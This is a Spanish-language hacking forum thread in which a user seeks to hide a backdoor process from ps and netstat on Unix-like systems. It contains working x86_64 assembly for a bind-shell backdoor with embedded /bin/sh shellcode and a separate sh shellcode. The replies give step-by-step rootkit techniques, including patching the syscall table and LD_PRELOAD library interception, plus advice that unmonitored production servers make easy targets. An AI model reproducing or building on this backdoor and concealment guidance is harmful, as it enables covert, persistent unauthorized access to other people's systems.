Autor
|
Tema: Ocultar procesos (Leído 13,208 veces)
|
xv0
Desconectado
Mensajes: 1.027
|
Hola
Voy al grano.
Tengo algo parecido a una backdoor, como un netcat, pero es "muy básica".
Cuando miro las conexiones activas hay aparece, y en ps también, la oculto cambiando el nombre por un proceso común, pero es muy cutre no?
Hay una práctica llamada "Hooking" si no me equivoco, pero todo es para windows, alguien puede echarme un cable para un unix-like?
Un saludo.
P.D: Muestro el código si alguien quiere.
|
|
|
En línea
|
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
Gracias por contestar pensaba que nadie lo haría. Bueno seguro que los usuarios de Mac OS X caen xD. (Algo como lo segundo te interesaría en realidad, pero ahí ya hablamos de rootkit ... de una manera u otra necesitás ser root y los códigos son poco felices)
Hace dos dias que estoy con esto algo de esos códigos entiendo, puede que sea por que los dos somos poco felices . ¿Hay alguna base por donde pueda empezar con los rootkit? Sería genial ... se te puede corregir y enseñar mucho más si mostrás el código.
.section .data .equ puerto, 10 sockaddr_in: sin_len: .byte 0 sin_family: .byte 0 sin_port: .word 0 sin_addr: .long 0 sin_zero: .byte 0,0,0,0,0,0,0,0 in_addr: s_addr: .long 0 sockdes: .long 0 lonsock: .long 0 .section .text .globl _start _start: leaq sockaddr_in, %r8 movq $97, %rax movq $2, %rdi movq $1, %rsi movq $6, %rdx int $0x80 movq %rax, sockdes movq $2, sin_family movq $in_addr, sin_addr movq $puerto, sin_port movq $104, %rax movq sockdes, %rdi movq %r8, %rsi movq $16, %rdx int $0x80 pushq $1 pushq sockdes movq $106, %rax int $0x80 addq $8, %rsp movq $30, %rax movq sockdes, %rdi movq %r8, %rsi movq $lonsock, %rdx int $0x80 xorq %rax, %rax movq $1, %rax int $0x80
No tiene ninguna función podría crear alguna con execve pero bueno, conecto con netcat. Estoy pensando en meterle alguna shellcode, por ejemplo que desactive pf por que no me deja hacer nada xD, tambien que pueda cifrar la conexión o cosas así, a ver si puedo hacerlo. Un saludo. P.D: El código es muy básico, me diste una solución para ps, pero que pasa con netstat?
|
|
|
En línea
|
|
|
|
0xDani
Desconectado
Mensajes: 1.077
|
Para iniciarte con rootkits: http://www.govannom.org/e-zines/7a69ezine/12/4.txtAdemas en ese texto se interceptan las llamadas al sistema, creo que es lo que buscabas. Creo que tenia mas textos por ahi, si encuentro alguno te lo paso. Seguro que los usuarios de Mac OS X caen xDD Saludos!
|
|
|
En línea
|
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!
I code for $$$ Hago trabajos en C/C++ Contactar por PM
|
|
|
Foxy Rider
Desconectado
Mensajes: 2.407
Deprecated
|
Bueno seguro que los usuarios de Mac OS X caen xD. ¿Hay alguna base por donde pueda empezar con los rootkit? ¿En modo kernel? Tendrías que arrancar con un libro sobre desarrollo sobre el kernel .... y acá viene la mala noticia: no es fácil (dependiendo de qué facilidades y qué uses del kernel). la KBI (la interfaz binaria del kernel) de Linux es bastane inestable y esto está documentado en el tree del kernel : Documentation/stable_api_nonsense.txtEn la práctica tenés que apuntar a una versión del kernel y no esperar en un 100% que funcione en otras ... Podés de última tomar un acercamiento más tímido y seguir jugando en modo usuario ... podés inspeccionar qué software querés engañar e interceptar librerías como libproc.so por un mecanismo LD_PRELOAD o moviendo el enlace simbólico de esta librería por ld (y chequeando constantemente que el gestor de paquete no te lo cambie) Podés también reemplazar binarios; son formas muy cutres que quizá en un desktop no duran mucho por la naturaleza de constante actualización que tiene (excepto sistemas oldstable como debian), pero te aseguro que en algún servidor de producción donde quien esté a cargo no tenga la viveza de chequear el sistema base contra checksums o use algo como los snapshots de ZFS ... vas a estar bien Tenés MUCHAS posibilidades siendo root No tiene ninguna función podría crear alguna con execve pero bueno, conecto con netcat. ¿Probaste armarla en C? En Assembly te vas a volver loco incluso para algo tan chiquito como eso si no estás acostumbrado a desarrollar sobre ese lenguaje. Nota: Y perdés portabilidad P.D: El código es muy básico, me diste una solución para ps, pero que pasa con netstat? Misma respuesta que para ps Ademas en ese texto se interceptan las llamadas al sistema, creo que es lo que buscabas. Si, pero que mire el link que le dejé de stackoverflow para complementar ... por que la tabla de syscalls se la marcó como readonly Saludos.
|
|
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
Gracias a los dos, voy a leer tranquilo toda esa información.
Un saludo.
|
|
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
Entendí la función fork. De los enlaces de los rootkit no tengo las librerias que aparecen en los códigos son para linux. Encontré esto para BSD. http://www.thc.org/root/docs/loadable_kernel_modules/openbsd-lkm.html El último código me parece interesante. Alex que te parecen estos libros? http://www.amazon.com/Designing-BSD-Rootkits-Introduction-Hacking/dp/1593271425 http://books.google.es/books/about/The_Design_of_the_Unix_Operating_System.html?id=eWRCPgAACAAJ&redir_esc=y ¿Probaste armarla en C? En Assembly te vas a volver loco incluso para algo tan chiquito como eso si no estás acostumbrado a desarrollar sobre ese lenguaje.
Nota: Y perdés portabilidad No estoy acostumbrado, tampoco tengo muchos conocimientos en ASM, pero C me parecio muy lioso al menos a mi cuando llegué al tema de los arreglos, y que ASM es mucho más directo que C, entiendo mejor el disassembler que el código de C en algunos casos xD. En lo de la portabilidad tienes toda la razón, ya veré lo que pasa cuando tenga que hacer códigos más complejos que el de hay arriba. El código de stackoverflow por lo que entiendo quiere "hookear" la syscall open la 5. Pero no entiendo una vez que consigues la dirección que haces con ella? Un saludo.
|
|
|
En línea
|
|
|
|
Foxy Rider
Desconectado
Mensajes: 2.407
Deprecated
|
Encontré esto para BSD. Tendrás que pensar para cual de los *BSD querés desarrollar ... ya que FreeBSD, OpenBSD, DragonflyBSD, NetBSD y demás comparten un pasado en común pero son proyectos y sistemas diferentes. Escuché muy buenos reviews de ese libro, pero no lo leí ... lo que te aconsejaría es que lo bajes de algún lado, pispees si tiene lo que necesitás y después ves si te conseguís el de papel o no. Ese libro es algo viejito y no tiene en cuenta nuevas revisiones a POSIX sin contar cómo fueron mutando los diferentes sistemas Unix-Like como Linux (que pffff, una distribución de hoy en día es algo que vagamente resembla lo que es un verdadero unix) No estoy acostumbrado, tampoco tengo muchos conocimientos en ASM, pero C me parecio muy lioso al menos a mi cuando llegué al tema de los arreglos, y que ASM es mucho más directo que C, entiendo mejor el disassembler que el código de C en algunos casos xD.
Si, al ser un lenguaje más simplificado en sintaxis y formateo se hace más rápido de escribir. El problema es mantenerlo y la portabilidad, sobre todo la portabilidad. Si escribís assembly para una arquitectura te olvidás del resto ... si escribís un C medianamente limpio compilás para cualquier otra arquitectura (x86/x86_64/"x32"/arm/sparc/mips/blah ), para eso se inventó C como pilar de Unix !! x'3 En lo de la portabilidad tienes toda la razón, ya veré lo que pasa cuando tenga que hacer códigos más complejos que el de hay arriba. Pensá que varios routers son de arquitectura arm o mips (el mío es un linux mips). Pero depende mucho de a qué "audiencia" apuntes, claro ! ; ) El código de stackoverflow por lo que entiendo quiere "hookear" la syscall open la 5. Correcto, ése es el número de la syscall (no te preocupes, hay un .h que incluye todos los defines así no tenés que andar recordando numeros ) Pero no entiendo una vez que consigues la dirección que haces con ella? 1) Obtenés la dirección a la "tabla" (es un vector) de syscalls 2) Le cambiás la protección de readonly a readwrite con change_page_attr() 3) Ya pudiendo escribir, cambiás la dirección de la syscall que te interesa (usando el número de syscall -que es la posición en el vector- que sacás de un define por comodidad/portabilidad ) por tu propia función. 4) Profit. Saludos. P.S → Cuando se trata del código de Linux, toco de oído por lo poco que programé hace algún tiempo ... conste x'D P.S 2 → Perdón por la demora :c ...
|
|
« Última modificación: 17 Diciembre 2012, 09:23 am por Alex Mtx »
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
Tendrás que pensar para cual de los *BSD querés desarrollar ... ya que FreeBSD, OpenBSD, DragonflyBSD, NetBSD y demás comparten un pasado en común pero son proyectos y sistemas diferentes.
Sí, solo funciona en OpenBSD, ya lo probé en un Mac OS X y nada no puede ni ejecutar el binario, que desilusión xD. Tendrás que pensar para cual de los *BSD querés desarrollar ... ya que FreeBSD, OpenBSD, DragonflyBSD, NetBSD y demás comparten un pasado en común pero son proyectos y sistemas diferentes.
Escuché muy buenos reviews de ese libro, pero no lo leí ... lo que te aconsejaría es que lo bajes de algún lado, pispees si tiene lo que necesitás y después ves si te conseguís el de papel o no.
Es lo que voy hacer, odio leer un libro en un ordenador. Si, al ser un lenguaje más simplificado en sintaxis y formateo se hace más rápido de escribir. El problema es mantenerlo y la portabilidad, sobre todo la portabilidad. Si escribís assembly para una arquitectura te olvidás del resto ... si escribís un C medianamente limpio compilás para cualquier otra arquitectura (x86/x86_64/"x32"/arm/sparc/mips/blah ), para eso se inventó C como pilar de Unix !! x'3
+1 Pensá que varios routers son de arquitectura arm o mips (el mío es un linux mips). Pero depende mucho de a qué "audiencia" apuntes, claro ! ; ) Correcto, ése es el número de la syscall (no te preocupes, hay un .h que incluye todos los defines así no tenés que andar recordando numeros ) Yo las miro en syscall.h. 1) Obtenés la dirección a la "tabla" (es un vector) de syscalls 2) Le cambiás la protección de readonly a readwrite con change_page_attr() 3) Ya pudiendo escribir, cambiás la dirección de la syscall que te interesa (usando el número de syscall -que es la posición en el vector- que sacás de un define por comodidad/portabilidad ) por tu propia función. 4) Profit. Gracias por la explicación. Bueno de lo que iba hacerle ala backdoor, ya esta echo menos lo de cifrar el trafico y lo de pf esta casi, la comparto es lo mínimo que puedo hacer. .section .text .globl _start _start: movb $97, %al movq $2, %rdi movq $1, %rsi movq $6, %rdx int $0x80 movq %rax, %r12 push $0x02 movq $104, %rax movq %r12, %rdi movq %rsp,%rsi mov $16, %rdx int $0x80 movq %r12, %rdi movq $0x05, %rsi movq $106, %rax int $0x80 movq %rax, %r11 xorq %rax, %rax pushq %rax movq $30, %rax movq %r12, %rdi movq %r8, %rsi movq %rsp, %rdx int $0x80 movq %rax, %r11 xorq %rsi, %rsi movq %r11, %rdi movb $90, %al int $0x80 incq %rsi movq %r11, %rdi movb $90, %al int $0x80 xorq %rax, %rax xorq %rsi, %rsi xorq %rdi, %rdi xorq %rdx, %rdx .byte 0x50,0x48,0xb8,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x50,0x48,0x89,0xe7,0x48,0x31,0xc0,0x50,0x48,0x89,0xe6,0xb0,0x3b,0xcd,0x80
La shellcode de sh. .section .text .globl _start _start: pushq %rax movq $0x68732f6e69622f2f, %rax pushq %rax movq %rsp, %rdi xorq %rax, %rax pushq %rax movq %rsp, %rsi movb $0x3b, %al int $0x80
Elimine la .section data porque así pesa menos, antes heran unos 2.1K, ahora son unos 1.7K peso muy bajo xD, seguro que en C pesa cinco veces más. Por cierto al hacer eso tengo el siguiente problema, la estructura sockaddr_in la intento hacer así: push $0x1226 push $0x0100007f # 127.0.0.1 push $0x2 movq %rsp, %rsi
Solamente copia 0x2 AF_INET, la dirección y el puerto nada. Con la shellcode de pf me pasa lo mismo, solo copia el primer push. Un saludo. P.D: El tema lo doy por resuelto, si sabés y sí quieres, contesta mi última pregunta.
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Ocultar Procesos del Administrador de tareas
Programación Visual Basic
|
comotucorreo
|
1
|
9,943
|
18 Febrero 2006, 03:24 am
por BriaNUR
|
|
|
Ayudarme a ocultar procesos
Programación Visual Basic
|
warmint
|
4
|
4,396
|
25 Abril 2008, 14:18 pm
por ~~
|
|
|
Ocultar procesos
Dudas Generales
|
DanteM
|
2
|
7,035
|
22 Junio 2011, 07:14 am
por .:UND3R:.
|
|
|
PROGRAMA PARA OCULTAR PROCESOS!
Software
|
Gonzah91
|
2
|
2,185
|
21 Febrero 2013, 16:26 pm
por Stakewinner00
|
|
|
ocultar procesos de windows
Seguridad
|
ckdimax3
|
0
|
2,063
|
13 Octubre 2014, 18:45 pm
por ckdimax3
|
|